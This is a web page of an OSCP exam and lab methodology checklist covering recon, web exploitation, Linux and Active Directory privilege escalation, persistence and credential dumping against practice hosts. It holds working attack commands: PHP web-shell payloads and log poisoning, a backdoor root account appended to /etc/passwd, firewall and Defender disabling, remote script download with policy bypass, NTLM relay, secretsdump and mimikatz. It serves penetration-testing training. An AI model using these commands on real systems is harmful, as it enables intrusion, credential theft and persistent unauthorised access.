Skip to main content

OSCP Cheatsheet

Master methodology checklist for exam and lab workflows

MasterCheck

121 checklist entries Β· 121 visible Β· 0 checked

StepPhaseNotes / ReferencesDone
πŸ“Œ Run AutoreconRecon
autorecon 192.168.133.12 --nmap-append="--min-rate=20000" --exclude-tags dirbuster
sudo nmap -Pn -n 192.168.200.65 -sC -sV -p- --open
πŸ“Œ Zone TransferRecon
dig axfr @10.10.10.83 ctfolympus.htb
knock -v 10.10.10.83 3456 8234 62431
πŸ“Œ Nmap Full TCP ScanRecon
nmap -p- -sCV -A -Pn <ip addr> β€”min-rate=20000
SCAN ALL PORTS Try fingerprint -nvv or connect to port sometimes with nc and see what it returns
πŸ“Œ Nmap UDP ScanRecon
Run against discovered subdomains aswell
Tools β†’ Nmap
πŸ“Œ Directory Brute ForceRecon
Ask yourself why the 302 directory was found if found, scan for Default directories related to service manually
Tools β†’ Feroxbuster
πŸ“Œ Gobuster Directory ScanRecon
Sometimes using a different buster exposes more endpoints
Tools β†’ Gobuster
πŸ“Œ Run Nikto on HTTPRecon
nikto -h <IP>
πŸ“Œ Check Page Source and Response HeaderRecon
Ctrl U + Check JS files
Ports β†’ Port 80
πŸ“Œ Subdomain EnumerationRecon
wfuzz -u http://<IP> -H "Host: FUZZ.domain.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Tools β†’ Wfuzz
πŸ“Œ Check robots.txtRecon
/robots.txt
Ports β†’ Port 80
πŸ“Œ Check READMERecon
/README.txt
Ports β†’ Port 80
πŸ“Œ Analyze every request with BurpRecon
Test every function of the site, for LFI,Sqli,IDOR,Mass Assignment,Business Logic
πŸ“Œ If LFI, File Read or Path TraversalRecon
Look for a user and try to grab the .ssh file in the /home/remi/.ssh directory
https://pwnbase.org/helpers/file-read also fuzz for parameters with wfuzz file.php?FUZZ=../../../../etc/passwd check for RFI nd ssh after check /etc/shadow /proc/self/environ /var/log/apache2/access.log /var/log/auth.log β€”> ssh poison & cmd=id nc -nv $IP 22 omgthisiss/<?php passthru($_GET[’cmd’]); ?>
πŸ“Œ TLS/SSL CertificatesRecon
openssl s_client -connect <IP>:<PORT>
Good for grabbing usernames
πŸ“Œ DNS EnumerationRecon
nslookup ; dig
πŸ“Œ CVE EnumRecon
1- searchsploit (easier than exploit-db web interface but keep it updated) and double check rapid 7 2-SPLOITUS 3- Github search (sign in and use github search for the cve name or a part of the POC from searchsploit and you will find all repos that used that part, don't google dork it) 4- CVEdetails
https://www.cvedetails.com/, offesec discord
πŸ“Œ Check for version number leaksRecon
Try checking error pages to see if you can catch the service version of the framework
Also google the error
πŸ“Œ Check for vulnerabiilities on certain componentsRecon
Try googling the kit or package or something that the website uses and look if that has a vuln
If you get stuck
πŸ“Œ Map out how the website worksRecon
Try figuring out what the website is doing, AND PLUGINS
if you get stuck
πŸ“Œ Fuzz ParametersRecon
Fuzz Parameters and check for LFI
πŸ“Œ Custom WordlistRecon
cewl <http://192.168.213.180:80/> | grep -v CeWL > wordlist.txt
πŸ“Œ Use php wrapperRecon
php://filter for including the contents and data:// (https://www.php.net/manual/en/filesystem.configuration.php setting needs to be enabled. ) for code exec curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,%3C?php%20echo%20system(%27ls%27);?>" echo -n '<?php echo system($_GET["cmd"]);?>' | base64 curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
if on curling the webpage, some part is missing then try this
πŸ“Œ Check Virtual HostsEnumeration
ls /etc/nginx/sites-enabled ; ls /etc/apache2/sites-enabled
Check if these 2 are enabled, they might give us another subdomain
πŸ“Œ Enumerate Listening PortsEnumeration
netstat -tulnp
PrivEsc β†’ Network & Pivoting
πŸ“Œ Check Running ProcessesEnumeration
ps -ef β€”forest
PrivEsc β†’ Network & Pivoting
πŸ“Œ Check Active ServicesEnumeration
ss -lntp, ps aux | grep -i root | grep 8080 netstat -ano or url each curl -I http://127.0.0.1:7999/ nc -nv 127.0.0.1 3306 nmap -sV -sC 127.0.0.1 -p 1935,7999,3306,8888,8765,9081,33060,8554 grep -R "7999\|8888\|8765\|9081\|8554\|1935" /etc 2>/dev/nullgrep -R "3306\|mysql" /etc 2>/dev/null
πŸ“Œ Check Installed Packages and SoftwareEnumeration
pip3 list, check Program Data or check /etc or Recyclebin sometimes in quotes
PrivEsc β†’ Writeable Locations
πŸ“Œ Examine Binary content & check metadataEnumeration
Sometimes a weird binary is there w hardcoded password
Check metada of any file u come across
πŸ“Œ Reuse the passwords and usernamesEnumeration
Reuse pass and user everywhere
πŸ“Œ Check if python is runningEnumeration
python -V 2>&1 python3 -V 2>&1
πŸ“Œ Process EnumerationEnumeration
/proc/self/environ check this file to see whats running
useful if LFi
πŸ“Œ Identify FrameworkEnumeration
Check for more endpoints or any debugging endpoint related to framework
πŸ“Œ Check Root DirectoriesEnumeration
Manual check /var/www /home /root
πŸ“Œ Check Absolute vs Relative PathsEnumeration
look for quotes
Manual review, Unquoted Service Paths (https://www.notion.so/Unquoted-Service-Paths-30b1adde3d1780a389daf98304afccef?pvs=21)
πŸ“Œ SMB EnumerationEnumeration
β€˜β€™smbclient -L //<IP> -N
check for null auth with netexec -u any -p
πŸ“Œ LDAP EnumerationEnumeration
ldapsearch -x -h <IP>
πŸ“Œ Check Config files & ENVEnumeration
grep -R "pass" /usr/share/zoneminder 2>/dev/null, env
check for env variables aswell within the config
πŸ“Œ Check Program FilesEnumeration
Look for 3rd Party Applications and .ini files
πŸ“Œ Check for Database configEnumeration
htdocs/conf/conf.php, also salts C:\xampp\htdocs\blog\boot\defines.php and hashing algo C:\xampp\htdocs\blog\engine\Security.php
Figure out where the crm stores their db creds, or any config file
πŸ“Œ Check who can sshEnumeration
/etc/ssh/sshd_config
πŸ“Œ Check if you ae using a blocked portEnumeration
Sometimes there are firewalls in place, youi have to bypass by using a diff port
check busybox and use standard service ones or use the open ports
πŸ“Œ Easy Quick GrabPrivEsc
sudo -l nd check env
πŸ“Œ Check for Listening PortsPrivEsc
netstat -ano
πŸ“Œ Check For Writeable FilesPrivEsc
Check LinPEAS output for writeable files
πŸ“Œ Check for aliasPrivEsc
idk just check β€˜alias’ , /proc/self/cmdline, enumerate by user
https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
πŸ“Œ Check .bashhistoryPrivEsc
Check .bashhistory in users directory
πŸ“Œ Look for root ssh keyPrivEsc
if root key is present under keys then simply ssh -i root root@127.0.0.1
πŸ“Œ Analyze Root ProcessesPrivEsc
ps aux | grep root
πŸ“Œ Check network trafficPrivEsc
tcpdump -i lo -A, sudo tcpdump -i tun0 sudo tcpdump -i lo -A | grep "pass”
Check for credentials getting leaked
πŸ“Œ Check SuidPrivEsc
find / -perm -4000 2>/dev/null
πŸ“Œ Check capabilitiesPrivEsc
/usr/sbin/getcap -r / 2>/dev/null
πŸ“Œ Check Writable FilesPrivEsc
find / -type f -writable -user www-data 2>/dev/null
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|run)'
πŸ“Œ PATH Hijacking CheckPrivEsc
strings <binary> ; ltrace <binary>
Analyze any binary you come across
πŸ“Œ Analyze Binary ExecutionPrivEsc
ltrace <binary>
πŸ“Œ Run LinpeasPrivEsc
Go Slow, look at crons, look at suids, look at users, look at site conifg, look at proccess, look at unusual files, look at ports
System Timers, check each crons contents
πŸ“Œ Run LSE.shPrivEsc
with level 1
πŸ“Œ CronJobPrivEsc
If you see a cronjob run pspy and check each dire
πŸ“Œ Check For passwordPrivEsc
grep -r password /var/lib/openfire
πŸ“Œ Finding a filePrivEsc
sudo find / -name "local.txt"
sudo find / -name "local.txt" -exec cat {} \; 2>/dev/null
πŸ“Œ Check firewall port rulesPrivEsc
cat /etc/iptables/rules.v4
πŸ“Œ Check for other drivesPrivEsc
https://linux.die.net/man/8/lsblk
πŸ“Œ SQLi enumerationExploitation
pwnbase
https://pwnbase.org/tools
πŸ“Œ Add SSH PersistencePersistence
mkdir ~/.ssh ssh-keygen rename http://key.pub to authorized_keys and upload into /home/user/.ssh/ ssh user@<ip addr> -i id_rsa
πŸ“Œ /etc/passwd PersistencePersistence
openssl passwd w00t echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd su root2
πŸ“Œ Find usernamesAD-Enumeration
rid brute if users dont work, net user /domain
If you get access look for usernames with stuff like netexec β€”rid-brute, β€”users, kerbrute
πŸ“Œ Check your environment w PowerViewAD-Enumeration
List out ur environment with powerview refer to tools page
πŸ“Œ Check RDP Access (3389)AD-Enumeration
nmap -p 3389 <IP>
πŸ“Œ BloodHoundAD-Enumeration
Check spn of users, if ever fails then bloodyAD -d pirate.htb -u pentest -p 'p3nt3st2025!' \--host dc01.pirate.htb get writable bloodhound-python -u <user> -p <pass> -dc <IP> -d <domain> -c all, MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p MATCH (m:Computer) RETURN m
Check for outbound objectcontrol for each owner u own
πŸ“Œ LAPS CheckAD-Enumeration
Check for LAPS passwords
C:\ProgramFiles\LAPS
πŸ“Œ Check PrivilegesAD-Enumeration
whoami /groups
whoami /priv
πŸ“Œ Check if Defender ActiveAD-Enumeration
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" ; sc query WinDefend ; Get-MpComputerStatus
πŸ“Œ Check AppLocker PoliciesAD-Enumeration
Get-AppLockerPolicy -Effective
πŸ“Œ Check Certify & VulnAD-Enumeration
Invoke-WebRequest http://<IP>:8081/Invoke-Certify.ps1 -OutFile Certify.ps1 ; powershell -ep bypass -c ".\Certify.ps1; Invoke-Certify find /vulnerable" certipy find -u j.fleischman@fluffy.htb -p 'J0elTHEM4n1990!' -vulnerable -stdout
check with nxc -M adcs
πŸ“Œ Check for NTLMv2AD-Enumeration
use responder to catch, check if we can connect back thru the smb
if we cant crack it then relay it
πŸ“Œ NTLMrelay ( Check if local admin has a session )AD-Enumeration
python3 http://petitpotam.py/ 10.10.14.5 10.129.231.186, nxc -M ldap-checker, nxc smb <TargetIP> -u 'username' -p 'password' -M coerce_plus
if either smb or ldap signing is diabled
πŸ“Œ Run enum4linuxAD-Enumeration
enum4linux $target | tee enum4linuxng.log
πŸ“Œ Check for possible subdomainsAD-Enumeration
dnsrecon -d β€˜EGOTISTICAL-BANK.LOCAL’ -n $target
πŸ“Œ Authenticate with everypossible protocolAD-Enumeration
try -k or β€”local-auth if its treating as domain user --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf kinit f.frizzle ssh -k f.frizzle@frizzdc.frizz.htb
LOCAL AUTH LOCAL AUTH
πŸ“Œ Test for kerberoastingAD-Enumeration
Need username and password
πŸ“Œ Test for ASEP roastingAD-Enumeration
kerbrute userenum usernames β€”dc $target -d fusion.corp
with username list after kerbrute
πŸ“Œ Check LDAP,RPC,SMB with anon access and Check for Public sharesAD-Enumeration
Check for Public shares, Recheck shares for every new user
netexec smb $target -u -p β€˜β€™
πŸ“Œ Scan All TCP Ports & UDPAD-Enumeration
πŸ“Œ LDAPSEARCh check info field for exposed credsAD-Enumeration
nmap -n -sV β€”script β€œldap* and not brute” -p 389 $target
Apache Directory
πŸ“Œ Check SYSVOLAD-Enumeration
smb, maybe somthing useful in the scripts
πŸ“Œ RID brute after SMBAD-Enumeration
username enum helps w it
crackmapexec smb $target -u enterprise-core-vn -p 'lalala' --rid-brute
πŸ“Œ Check if you can put stuffAD-Enumeration
https://github.com/Greenwolf/ntlm_theft
Check if u can upload to smb or put to ftp webroot or grab hash with ntlmrely
πŸ“Œ Bruteforce different protocolsAD-Enumeration
Also check if username same as password lower nd upper
Everytime u get a new cred dont forget
πŸ“Œ Check Powershell historyAD-PrivEsc
PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls
πŸ“Œ Check All installed ApplicationsAD-PrivEsc
first Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname then Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Check for 32 and 64bit Program files and Downloads directory as well
πŸ“Œ Check running Processes and ServicesAD-PrivEsc
Get-Process, Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} and then use icacls to check perms Check its startmode Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
πŸ“Œ Check for Quoted and UnquotedAD-PrivEsc
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v ""”
then Start-Service GammaService and stop
πŸ“Œ Check for Scheduled tasksAD-PrivEsc
schtasks /query /fo LIST /v Get-ScheduledTask | where {$_.TaskPath -notlike β€œ\Microsoft*”} | ft TaskName,TaskPath,State
πŸ“Œ Check for strange exe and if binded to serviceAD-PrivEsc
Get-Service | findstr /i audit sc query | findstr /i "audit"
Is it:- a service?- a scheduled task?- startup program?
πŸ“Œ Check for config filesAD-PrivEsc
Get-ChildItem -Path C:\users\ -include 8.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.rar,*.zip,*.7z -File -Recurse -ErrorAction SilentlyContinue Kdbx file in C Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue Config files in xampp folder Get-ChildItem -Path C:\xampp -Include .txt,.ini -File -Recurse -ErrorAction SilentlyContinue Config files in ho Get-ChildItem -Path C:\Users\dave\ -Include .txt,.pdf,.xls,.xlsx,.doc,.docx -File -Recurse -ErrorAction SilentlyContinue
πŸ“Œ BloodhoundAD-PrivEsc
-just-dc-ntlm
πŸ“Œ WInpeasAD-PrivEsc
Check hostname also, run as admin again
Check your permissions and then powerup.ps1 and then winpeas
πŸ“Œ Windows exploit suggesterAD-PrivEsc
runnit local exploit suggester
πŸ“Œ Dump hashes RemotelyAD-PrivEsc
netexec smb $target -u Admin -H nt part of the hash β€”ntds or β€” lsa
add user to admin group and then dump remotely, CAN ONLY DUMP NTDS ON DC
πŸ“Œ Run secretsdumpAD-PrivEsc
when u have domain admin
impacket-secretsdump -just-dc-ntlm vulnnet-rst.local/whitehat:akdfjakfaklf@$target
πŸ“Œ Check for Administrator userAD-PrivEsc
net user /domain
πŸ“Œ Check Listening portsAD-PrivEsc
πŸ“Œ Run PowerUp.ps1, privescheck.ps1 and then WINPEASAD-PrivEsc
πŸ“Œ Run whomai/allAD-PrivEsc
easy wins
πŸ“Œ Pivot CheckAD-PrivEsc
if you need to pivot then relay all tools to the jumpbox
Check for additional network adapters after you are infor i in {1..254}; do (ping -c 1 192.168.1.$i | grep "bytes from" &); done nslookup WEB01.pirate.htb 10.129.3.153
πŸ“Œ ResponderAD-PrivEsc
Check if writeable share could be path to steal hashes with responder
πŸ“Œ Check taskAD-PrivEsc
tasklist /v
πŸ“Œ Check interesting filesAD-PrivEsc
C:\>findstr /SIM /c:"pass" *.ini *.cfg *.xml
πŸ“Œ Check XampAD-PrivEsc
check C:\\xampp\properties.ini and check /
πŸ“Œ ExtraAD-PrivEsc
Try staged payload with msfvenom and try powershell -ep bypass C:/lalal
πŸ“Œ Check for certificate based attacksAD-PrivEsc
Certipy
πŸ“Œ Shell as new userAD-PrivEsc
Dump all hashes and collect them in a file
πŸ“Œ GPP ABUSEAD-PrivEsc
dir \\\\<domain>||SYSVOL||<domain>\\Policies\\ /s /b | findstr cpassword
Check for cpassword in the sysvol
πŸ“Œ If all else fails then KernelAD-PrivEsc
systeminfo and then check for exploits, use this to check the patches Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
πŸ“Œ Disable Defender (Admin)AD-Persistence
Disable if admin
πŸ“Œ Disable AMSI (Admin)AD-Persistence
Bypass if needed
πŸ“Œ Disable firewallAD-Persistence
netsh advfirewall set allprofiles state off
πŸ“Œ Enabling RDPAD-Persistence
netexec smb $IP -u administrator -p pass123 -M rdp -o ACTION=enable
πŸ“Œ Check Stored Credentials (Windows)Credential Access
cmdkey /list
PrivEsc β†’ Windows
πŸ“Œ Dump Hashes (SMB)Credential Access
nxc smb <IP> -u <user> -p <pass> --sam
Only works if user is pwned!
πŸ“Œ Run MimikatzCredential Access
sekurlsa::logonpasswords
πŸ“Œ Grab HashesCredential Access
cat /etc/passwd